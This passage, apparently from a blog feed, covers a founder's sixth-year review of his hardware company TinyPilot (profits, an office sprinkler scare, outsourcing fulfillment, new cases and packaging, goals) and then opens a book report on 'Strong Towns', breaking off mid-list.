&lt;p>I don&amp;rsquo;t draw a salary, so the total amount I earned from TinyPilot in 2023 was $236k. People often wonder how I survived on the meager earnings of my first five bootstrapper years. The answer is that I live in Western Massachusetts, where the cost of living is low. I had savings in index funds from years working in big tech, and those investments generated enough dividend income to sustain me.&lt;/p>
&lt;h2 id="the-most-terrifying-10-minutes-of-2023">The most terrifying 10 minutes of 2023&lt;/h2>
&lt;p>One lazy Saturday afternoon in February, I heard a knock on my door. Standing on my porch was a mid-fifties guy in jeans and a windbreaker. I opened the door, still in my pajamas.&lt;/p>
&lt;p>&amp;ldquo;Are you the TinyPilot guy?&amp;rdquo; he asked me.&lt;/p>
&lt;p>&amp;ldquo;Uh oh,&amp;rdquo; I thought. Did a disgruntled customer find my house?&lt;/p>
&lt;p>&amp;ldquo;Yes&amp;hellip;&amp;rdquo; I said cautiously.&lt;/p>
&lt;p>&amp;ldquo;I&amp;rsquo;m the handyman at the office. A sprinkler burst, and we can&amp;rsquo;t get into your suite. Can you come down?&amp;rdquo;&lt;/p>
&lt;p>That didn&amp;rsquo;t sound good.&lt;/p>
&lt;p>During my five-minute drive to the office, I wondered if this was the end of my business. We kept all of our inventory in TinyPilot&amp;rsquo;s office. Would circuit boards work after being drenched? Probably not.&lt;/p>
&lt;p>TinyPilot had insurance, but I chose coverage a year before when we carried half as much inventory. And even if insurance paid out, TinyPilot would be dead in the water for months until we could restart our whole manufacturing pipeline.&lt;/p>
&lt;p>I arrived at the building and walked up to TinyPilot&amp;rsquo;s office on the second floor, the carpet squishing damply with every step I took.&lt;/p>
&lt;p>When I reached my floor, I was relieved to see that the sprinkler had actually burst in the shared conference room, not TinyPilot&amp;rsquo;s suite. I unlocked our office and found everything was bone dry. The water hadn&amp;rsquo;t even trickled under our door.&lt;/p>
&lt;p>My relief was short-lived, as the landlord told me he might have to kick us out for &amp;ldquo;weeks to months&amp;rdquo; to repair the wall we shared with the conference room.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/office-damage.webp">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/office-damage_hu_a0e4aafac509a03b.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/office-damage_hu_854c0b835c749452.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/office-damage_hu_d37324b4a784a6e4.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/office-damage_hu_a7640b65cff57daf.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-6/office-damage.webp 1200w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/office-damage.webp" alt="Photo of a room with ceiling, carpets, and furniture all removed" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A sprinkler burst in the office adjacent to TinyPilot&amp;rsquo;s, destroying everything inside.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Normally, being forced to move my entire office on a few days&amp;rsquo; notice would be disruptive, but it was &lt;em>especially&lt;/em> disruptive this week. I was about to take a two-week trip to Europe, my longest travel since starting TinyPilot.&lt;/p>
&lt;p>If the team had to move while I was away, no one would be able to set up the computers or printers — the office IT guy was me. And if the team couldn&amp;rsquo;t print shipping labels, they couldn&amp;rsquo;t fulfill orders.&lt;/p>
&lt;p>Long story short, we ended up not having to move, but the experience made me never want to be in that situation again. I was risking so much by centralizing TinyPilot&amp;rsquo;s operations in a single, small office.&lt;/p>
&lt;h2 id="outsourcing-order-fulfillment-and-reducing-stress">Outsourcing order fulfillment and reducing stress&lt;/h2>
&lt;p>TinyPilot&amp;rsquo;s order fulfillment had always been extremely smooth, which was why I&amp;rsquo;d always procrastinated outsourcing it. Out of 3,500+ orders in the past two years, there were only about five where we sent a customer the wrong item.&lt;/p>
&lt;p>In March 2023, TinyPilot switched from fulfilling orders in-house to &lt;a href="https://mtlynch.io/retrospectives/2023/04/">using a third-party logistics (3PL) warehouse&lt;/a>. We were still assembling devices at our office, but we&amp;rsquo;d send customer-ready packages to the warehouse in bulk, and the 3PL would handle the final step of shipping orders to customers.&lt;/p>
&lt;p>At the time of the 3PL shift, we were in &lt;a href="https://mtlynch.io/retrospectives/2023/05/#getting-out-of-urgent-mode">&amp;ldquo;urgent mode.&amp;rdquo;&lt;/a> Our team of two part-time employees assembled about fifty devices per week, but customers were buying at the same rate. It was a stressful situation because any interruption put us at risk of halting sales.&lt;/p>
&lt;p>I hoped that outsourcing fulfillment would free up enough of the team&amp;rsquo;s time to produce about 100 devices per week. It turned out that our full capacity was only about 70. At that rate, it would take months of working at maximum capacity to build up a healthy inventory at the warehouse. I ended up hiring a third employee temporarily to get us through the summer.&lt;/p>
&lt;p>So, outsourcing fulfillment didn&amp;rsquo;t free up a ton of time, but it did win us a lot more flexibility.&lt;/p>
&lt;p>The local team seemed to have flexibility already because they could come in whenever they wanted. As long as orders were packed and ready for mail pickup the next day, they could take their shifts at 3 AM if they felt like it.&lt;/p>
&lt;p>Switching to the 3PL eliminated the daily deadline of mail pickup. Instead, our only deadline was to ship assembled products to our warehouse once a week.&lt;/p>
&lt;p>The increase in flexibility reduced a lot of stress. If an employee wanted to take a four-day weekend, they could shift their schedule around and still work their normal 15 hours that week. Or they could take a few days off and &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#run-at-50-capacity">not feel like it was overloading the rest of the team&lt;/a>.&lt;/p>
&lt;h2 id="making-tinypilot-look-like-a-real-product">Making TinyPilot look like a real product&lt;/h2>
&lt;p>One of the most notable changes to TinyPilot in 2023 was how we improved the product&amp;rsquo;s physical appearance.&lt;/p>
&lt;p>At the end of 2022, we were still making TinyPilot&amp;rsquo;s cases with a fleet of seven high-end 3D printers running nonstop. As far as 3D printing goes, our cases were especially nice, but they still had the &amp;ldquo;just a prototype&amp;rdquo; feel of a 3D-printed product.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/voyager2-angled.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/voyager2-angled_hu_94d2db40fd67b9e7.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/voyager2-angled_hu_1ee9271967b88609.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/voyager2-angled_hu_b386d50e8a2447d7.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/voyager2-angled.webp 988w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/voyager2-angled.webp" alt="TinyPilot in a black plastic 3D-printed case" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Before: TinyPilot&amp;rsquo;s 3D-printed case&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In February 2023, we &lt;a href="https://tinypilotkvm.com/blogs/news/introducing-voyager-2a">switched to a metal case&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/metal-case.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/metal-case_hu_8a7d9c790b3fa40a.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/metal-case_hu_366be65958b343cf.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/metal-case_hu_6b43d9134d9f70f4.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/metal-case_hu_62bb83d7bb265077.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-6/metal-case.webp 1200w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/metal-case.webp" alt="TinyPilot in a new metal case" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>After: TinyPilot&amp;rsquo;s metal case&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I was surprised at how much the metal case impacted sales. Not only did it increase the absolute number of sales, it increased the price customers were willing to pay. After &lt;a href="https://mtlynch.io/retrospectives/2023/05/#what-price-maximizes-profits">experimenting with pricing&lt;/a>, I ended up increasing our price by 10%, and our monthly sales were still higher than when we had a 3D-printed case.&lt;/p>
&lt;p>We also updated TinyPilot&amp;rsquo;s packaging. Until late last year, we were still bunching the device and all the cables together in a bubble wrap pouch and dropping that into a plain brown box.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/labeled-blob.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/labeled-blob_hu_c6d92a2cb3c688a2.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/labeled-blob_hu_2c8496abc7c61ddc.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/labeled-blob_hu_b1b10a0b0860a5db.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/labeled-blob_hu_20f8e6fed0b86230.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-6/labeled-blob.webp 3722w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/labeled-blob.webp" alt="Overhead view of TinyPilot, instructions, and cables in a bubble pouch" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 370px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/bundle-stacked.webp">
 &lt;img
 
 sizes="(min-width: 768px) 370px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/bundle-stacked_hu_9af547b1ff401998.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/bundle-stacked_hu_69266c038e6a41ad.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/bundle-stacked_hu_740995af250f561.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/bundle-stacked.webp 1098w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/bundle-stacked.webp" alt="Stack of TinyPilot bubble pouches on a shelf" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Our previous packaging for TinyPilot was just neatly wrapping the device, cables, and instructions in a bubble pouch.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Every time a reviewer shared their experience unboxing TinyPilot, I winced a little.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/unboxing.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/unboxing_hu_4c3b11a48ce29b07.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/unboxing_hu_eb4d8871f6d0dcf3.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/unboxing_hu_3153d428a4f2dd1b.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/unboxing_hu_a2c5e0c738316796.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-6/unboxing.webp 1210w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/unboxing.webp" alt="Screenshot of review from noted.lol showing TinyPilot&amp;#39;s old packaging in plain brown box" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A &lt;a href="https://noted.lol/tinypilot-voyager-2a-2/">homelab reviewer&lt;/a> shows TinyPilot&amp;rsquo;s old, embarrassing packaging in a review&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;d had a few conversations with designers about making a nice retail box for the product, but it never came together, and it was never my top priority. After we switched to metal cases, TinyPilot&amp;rsquo;s packaging stood out as particularly immature.&lt;/p>
&lt;p>In the second half of 2023, we worked with a contract manufacturer to take over our entire production process. As part of that work, they offered to make a retail box for us.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/box-angled.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/box-angled_hu_bd97d2af46dc2ac.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/box-angled_hu_63eb3511ad2a6cdc.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/box-angled_hu_d3cb526233ffdad.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/box-angled_hu_62c7ad77dc86d61e.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-6/box-angled.webp 1200w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/box-angled.webp" alt="Angled view of TinyPilot branded box, closed" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/box-open.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/box-open_hu_aca5daefffa0fd97.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/box-open_hu_79aa1d1b8cbf5f33.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/box-open_hu_259ddb829dd1e7aa.webp 800w, https://mtlynch.io/bootstrapped-founder-year-6/box-open_hu_c7ed5e0b2b40036d.webp 1200w, https://mtlynch.io/bootstrapped-founder-year-6/box-open.webp 1200w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/box-open.webp" alt="Front view of TinyPilot box open with components organized inside" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s new contract manufacturer made a branded retail box for our product.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Our contract manufacturer did a great job on the box. It&amp;rsquo;s not going to catch your eye if it was on the shelf at Best Buy, but it feels like professional packaging for a networking hardware product.&lt;/p>
&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="theres-hidden-stress-in-low-latency-responsibility">There&amp;rsquo;s hidden stress in low-latency responsibility&lt;/h3>
&lt;p>Switching TinyPilot&amp;rsquo;s order fulfillment to a 3PL &lt;a href="#outsourcing-order-fulfillment-and-reducing-stress">reduced stress and increased flexibility&lt;/a> for TinyPilot&amp;rsquo;s local team, but I was most surprised at how drastically it relieved stress for me.&lt;/p>
&lt;p>I&amp;rsquo;d been carrying around so much &amp;ldquo;what if?&amp;rdquo; anxiety for years without even realizing it.&lt;/p>
&lt;p>Before we switched to the 3PL, there was always a worry in the back of my mind about all the things that could block order fulfillment. What if our office router crashes and prevents anyone from accessing the Internet? What if the desktop suddenly can&amp;rsquo;t talk to the printer? There were dozens of ways I might be called to unblock a critical process urgently.&lt;/p>
&lt;p>Now that we&amp;rsquo;ve shifted to a 3PL and a contract manufacturer, there are still many things that can go wrong, but I&amp;rsquo;m outside the critical path of most day-to-day operations. If a printer breaks at our warehouse, someone else will fix it, and I&amp;rsquo;ll hopefully never even hear about it.&lt;/p>
&lt;h3 id="as-a-project-matures-more-time-goes-into-maintenance">As a project matures, more time goes into maintenance&lt;/h3>
&lt;p>In June, when I sat down to write &lt;a href="https://tinypilotkvm.com/pro/changes#260">the changelog&lt;/a> for the latest TinyPilot software update, I struggled to explain how any of the work we did benefitted our users. Assuming I overdid it on refactoring work, I resolved to make our next release more user-focused.&lt;/p>
&lt;p>When it came time to announce the &lt;a href="https://tinypilotkvm.com/pro/changes#261">next update&lt;/a>, I had the same problem. After two and a half months of development, all we had to show for it were small, cosmetic improvements.&lt;/p>
&lt;p>Our current pace felt glacial compared to the early days when we were releasing major features every couple of months. Was I prioritizing tasks poorly? Had the team lost their enthusiasm? Had we taken on too much technical debt?&lt;/p>
&lt;p>I reviewed the complete list of tasks for the release, including all the work that wasn&amp;rsquo;t visible to end-users. Even with the benefit of hindsight, I felt like I had chosen the right tasks. And the time we invested in each task felt reasonable as well.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/three-category-2.6.1.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-6/three-category-2.6.1_hu_fde5323199e1c266.webp 300w, https://mtlynch.io/bootstrapped-founder-year-6/three-category-2.6.1_hu_ae9c4b87f68ffc67.webp 600w, https://mtlynch.io/bootstrapped-founder-year-6/three-category-2.6.1.webp 607w'
 src="https://mtlynch.io/bootstrapped-founder-year-6/three-category-2.6.1.webp" alt="A screenshot of TinyPilot&amp;#39;s dev tasks for 2.6.1 release" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The tasks in TinyPilot&amp;rsquo;s &lt;a href="https://tinypilotkvm.com/pro/changes#261">2.6.1 release&lt;/a>, colored according to improving the product (green), automation and reducing complexity (blue), and regular maintenance (red)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>So, how could our progress be so much slower when we were prioritizing well and working efficiently?&lt;/p>
&lt;p>I realized that the dominant factor was &lt;a href="https://mtlynch.io/retrospectives/2023/09/#how-do-we-reduce-accidental-difficulty">the size of our codebase&lt;/a>. We have three times the code that we did three years ago. And every line of code requires time to maintain. So, if I keep the number of developers fixed but increase the size of the codebase, then a higher proportion of our time must go to maintaining old code.&lt;/p>
&lt;p>Beyond maintenance, more code means that new features are more expensive to build. If your app has zero features, building the first one is easy. If your app already has 20 features, you have to put a lot more thought into how your 21st feature integrates with everything else.&lt;/p>
&lt;p>So, I haven&amp;rsquo;t figured out a way for us to go significantly faster, but I&amp;rsquo;ve learned to temper my expectations around feature pace. And I&amp;rsquo;ve adjusted how I estimate dev costs to account for our more complex codebase.&lt;/p>
&lt;h3 id="most-support-escalation-can-happen-asynchronously">Most support escalation can happen asynchronously&lt;/h3>
&lt;p>I try to give the TinyPilot team &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/#good-leadership-means-helping-teammates-grow">as much autonomy as possible&lt;/a>. At the same time, I want to make sure everyone feels comfortable asking me for help when they get stuck.&lt;/p>
&lt;p>The problem was that when support tickets escalated to me, they felt particularly stressful.&lt;/p>
&lt;p>For a while, I thought that was the nature of support escalation. I&amp;rsquo;m only seeing the toughest customer questions, so of course they&amp;rsquo;re going to feel stressful. It turned out that most of it was fixable.&lt;/p>
&lt;p>First, I adjusted our process for escalation. Most escalation took the form of, &amp;ldquo;Michael, here&amp;rsquo;s a problem we&amp;rsquo;ve never seen before. How do you want us to handle it?&amp;rdquo; I encouraged the team to tweak their approach by proposing a solution as part of escalating to me. If I wasn&amp;rsquo;t available, and they were the last line of support, what would they tell the customer?&lt;/p>
&lt;p>80% of the time, the team came up with the same solution that I would have recommended. The more the support team did this, the better they became at tackling hard cases.&lt;/p>
&lt;p>Once I saw how close the team&amp;rsquo;s answers were to my own, I realized there was no need to block a support ticket on an answer from me. If my only contribution to 80% of cases is, &amp;ldquo;Yes, do that,&amp;rdquo; why not just do their plan immediately and check with me in parallel about alternatives?&lt;/p>
&lt;p>In the minority of cases where I had a better idea for solving a support issue, it was almost always something the customer could try in addition to my team&amp;rsquo;s suggestion. We never ran into a situation where my team told me, &amp;ldquo;Oh, we wish you&amp;rsquo;d intervened earlier because we suggested putting their device in the microwave, and now their house is on fire.&amp;rdquo;&lt;/p>
&lt;h2 id="grading-last-years-goals">Grading last year&amp;rsquo;s goals&lt;/h2>
&lt;p>Last year, I set &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#goals-for-year-six">three high-level goals&lt;/a> that I wanted to achieve during the year. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="manage-tinypilot-on-20-hours-per-week">Manage TinyPilot on 20 hours per week&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I significantly reduced hours from previous years and traveled more than any previous year.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I worked much less in 2023 than in 2022. I did a lot of travel for both work and non-work. I was &amp;ldquo;out of the office&amp;rdquo; for about five weeks cumulatively, and everything went fine.&lt;/p>
&lt;p>When I signed off in the evenings, my work day usually felt complete, whereas in 2022, I frequently felt like I was leaving behind loose ends.&lt;/p>
&lt;h3 id="earn-100k-in-profit">Earn $100k in profit&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I earned $236k in profit.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>I expected this year to be profitable, as I knew I&amp;rsquo;d be spending less on hardware engineering, but I underestimated how much additional revenue TinyPilot would earn from the switch to metal cases.&lt;/p>
&lt;p>I was pleasantly surprised to exceed my goal here.&lt;/p>
&lt;h3 id="close-the-tinypilot-office">Close the TinyPilot office&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We still have the office for non-critical workflows.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>When I made this goal, I didn&amp;rsquo;t expect our landlord to agree to a month-to-month lease, but he did. Without a long-term commitment, there&amp;rsquo;s less pressure to move out by a certain deadline.&lt;/p>
&lt;p>We&amp;rsquo;ve successfully moved the critical operations of manufacturing and fulfillment out of our office. So, we don&amp;rsquo;t strictly need the office, but it&amp;rsquo;s convenient to have a home base.&lt;/p>
&lt;p>If the handyman knocked on my door tomorrow to announce that some disaster destroyed all of our office property and made the space unusable, it would be frustrating but not catastrophic.&lt;/p>
&lt;h2 id="goals-for-year-seven">Goals for year seven&lt;/h2>
&lt;h3 id="manage-tinypilot-on-20-hours-per-week-1">Manage TinyPilot on 20 hours per week&lt;/h3>
&lt;p>I know I set this as a goal in &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/#manage-tinypilot-on-20-hours-per-week">2022&lt;/a> and again in &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#manage-tinypilot-on-20-hours-per-week">2023&lt;/a>, but the third time&amp;rsquo;s the charm! My management time is trending downward, so this could be my year.&lt;/p>
&lt;h3 id="publish-a-course-or-book">Publish a course or book&lt;/h3>
&lt;p>In 2021, I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#publish-six-blog-posts-and-one-book">said&lt;/a> I&amp;rsquo;d &lt;a href="https://refactoringenglish.com/">write a book&lt;/a> to help developers improve their writing. I got 80% through the first chapter, and then TinyPilot absorbed all of my free time that year.&lt;/p>
&lt;p>I still want to write that book, so if I reduce my management time, hopefully, I can use the free time to write more.&lt;/p>
&lt;p>I&amp;rsquo;ve also been experimenting with &lt;a href="https://mtlynch.io/tags/nix/">Nix&lt;/a> and &lt;a href="https://mtlynch.io/tags/zig">Zig&lt;/a>, two technologies that I find exciting but lacking in educational resources. Creating a course for one of those technologies could be a fun way to build my own expertise while also making these tools more accessible to others.&lt;/p>
&lt;h3 id="write-software-for-ten-working-hours-per-week">Write software for ten working hours per week&lt;/h3>
&lt;p>Writing code is still one of my favorite activities.&lt;/p>
&lt;p>For the past few years of TinyPilot, I&amp;rsquo;ve enjoyed programming, but it&amp;rsquo;s never been a sensible way to spend my limited working hours. With a team of six people, several critical vendors, and many moving pieces, the most pressing parts of TinyPilot have always been management.&lt;/p>
&lt;p>I hope that by outsourcing and delegating more of TinyPilot&amp;rsquo;s operational side, I can free up enough bandwidth that programming is, if not the optimal use of my time, at least a reasonable use of my time.&lt;/p>
&lt;h2 id="do-i-still-love-it">Do I still love it?&lt;/h2>
&lt;p>Every year, when I write these blog posts, I ask myself whether I still love what I&amp;rsquo;m doing.&lt;/p>
&lt;p>2022 remains &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#do-i-still-love-it">the toughest year I&amp;rsquo;ve had&lt;/a>. I still preferred it to working for an employer, but it was a massive challenge to onboard new teammates while navigating &lt;a href="https://en.wikipedia.org/wiki/Global_chip_shortage_(2020%E2%80%932023)">the global chip shortage&lt;/a>.&lt;/p>
&lt;p>2023 was a major improvement from the previous year. There were fewer fires to put out, and it felt good to shift critical workflows to specialized vendors.&lt;/p>
&lt;p>The downside to 2023 is that I have a hard time getting excited about it. It was a restructuring year, so I spent a lot of time redefining TinyPilot&amp;rsquo;s processes and shifting around team responsibilities. TinyPilot has shown me that I&amp;rsquo;m better than the average developer at designing organizational processes, but I still find it painfully boring.&lt;/p>
&lt;p>While I can&amp;rsquo;t say that I loved the year, I still enjoyed most of it and preferred it to working for an employer. I&amp;rsquo;m grateful to be in a position where I can earn a living working for myself and creating a product I&amp;rsquo;m proud of.&lt;/p>
&lt;h2>All annual reviews&lt;/h2>
&lt;ul>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>- Feb. 1, 2019
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>- Jan. 31, 2020
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>- Feb. 1, 2021
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">My Fourth Year as a Bootstrapped Founder&lt;/a>- Feb. 1, 2022
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>- Feb. 10, 2023
 &lt;/li>&lt;li>My Sixth Year as a Bootstrapped Founder- Feb. 16, 2024
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2025
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">My Eighth Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2026
 &lt;/li>&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Cover image by Loraine Yow. After &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">six years&lt;/a> as this blog&amp;rsquo;s official illustrator, Loraine &lt;a href="https://www.loraineyow.com/captains-log/how-accounting-blew-my-mind">has changed careers&lt;/a> but graciously agreed to make one last illustration for this post.&lt;/em>&lt;/p>
&lt;script src="https://mtlynch.io/third-party/chart.js/2.9.4/Chart.min.js">&lt;/script>
&lt;script src="script.js">&lt;/script></content:encoded></item><item><title>Strong Towns</title><link>https://mtlynch.io/book-reports/strong-towns/</link><pubDate>Sun, 11 Feb 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/book-reports/strong-towns/</guid><description>&lt;p>I found it eye-opening in terms of understanding how municipal governments work in practice and how perverse incentives lead to poor community outcomes. It had a huge impact on the way that I think about where to live and what policies I support in local government.&lt;/p>
&lt;p>This book complements &lt;a href="https://mtlynch.io/book-reports/happy-city/">&lt;em>Happy City&lt;/em>&lt;/a> in that both books explore what characteristics of a city make it attractive for residents to live there but also how legislation often yields the opposite results.&lt;/p></description><content:encoded>&lt;p>I found it eye-opening in terms of understanding how municipal governments work in practice and how perverse incentives lead to poor community outcomes. It had a huge impact on the way that I think about where to live and what policies I support in local government.&lt;/p>
&lt;p>This book complements &lt;a href="https://mtlynch.io/book-reports/happy-city/">&lt;em>Happy City&lt;/em>&lt;/a> in that both books explore what characteristics of a city make it attractive for residents to live there but also how legislation often yields the opposite results.&lt;/p>
&lt;hr>
&lt;h2 id="what-i-liked">What I liked&lt;/h2>
&lt;ul>
&lt;li>I learned a lot about how municipal policy affects everyday life in American cities.&lt;/li>
&lt;li>It changed the way I think about what local government policies to support and what to look for in city government.&lt;/li>
&lt;li>It made municipal government interesting and engaging, which is quite difficult.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-disliked">What I disliked&lt;/h2>
&lt;ul>
&lt;li>There were lots of careless grammar and spelling errors.&lt;/li>
&lt;li>Marohn uses a non-standard format for citing sources, which made me question his research methods.&lt;/li>
&lt;li>Marohn doesn&amp;rsquo;t present any alternative viewpoints to the policies he advocates for.
&lt;ul>
&lt;li>The way he presents it, each of his policies is a no-brainer, and the reason towns haven&amp;rsquo;t adopted them already are inertia and stubbornness.&lt;/li>
&lt;li>I have to imagine that there are stronger objections that he&amp;rsquo;s not presenting.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The book is heavy on hypotheticals and light on case studies where towns actually adopt these policies.&lt;/li>
&lt;li>Marohn introduces a metric for evaluating a town&amp;rsquo;s financial health: tax revenue per acre.
&lt;ul>
&lt;li>He says that according to this metric, blighted towns are often healthier than affluent towns.&lt;/li>
&lt;li>The observation made me question the metric, as blighted towns struggle more to pay for public services, so the metric doesn&amp;rsquo;t seem predictive.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="key-takeaways">Key takeaways&lt;/h2>
&lt;h3 id="pompeii-as-a-model-city">Pompeii as a model city&lt;/h3>
&lt;ul>
&lt;li>Author visited ruins of Pompeii and found building that was an ancient equivalent of a fast-food restaurant.&lt;/li>
&lt;li>The restaurant was in a two-room building where the back room was a living space and the front room had a serving counter facing the street.&lt;/li>
&lt;li>The restaurant had many characteristics that made it adaptive to different conditions.
&lt;ul>
&lt;li>Living quarters mean that parents can attend to children while working&lt;/li>
&lt;li>One parent can work. elsewhere while the other mind, the shop,&lt;/li>
&lt;li>Restaurant is on the edge of town, so the restaurant owners (and all shopkeepers) have incentive to help the town as a whole grow because an expanded city increase value of their business&lt;/li>
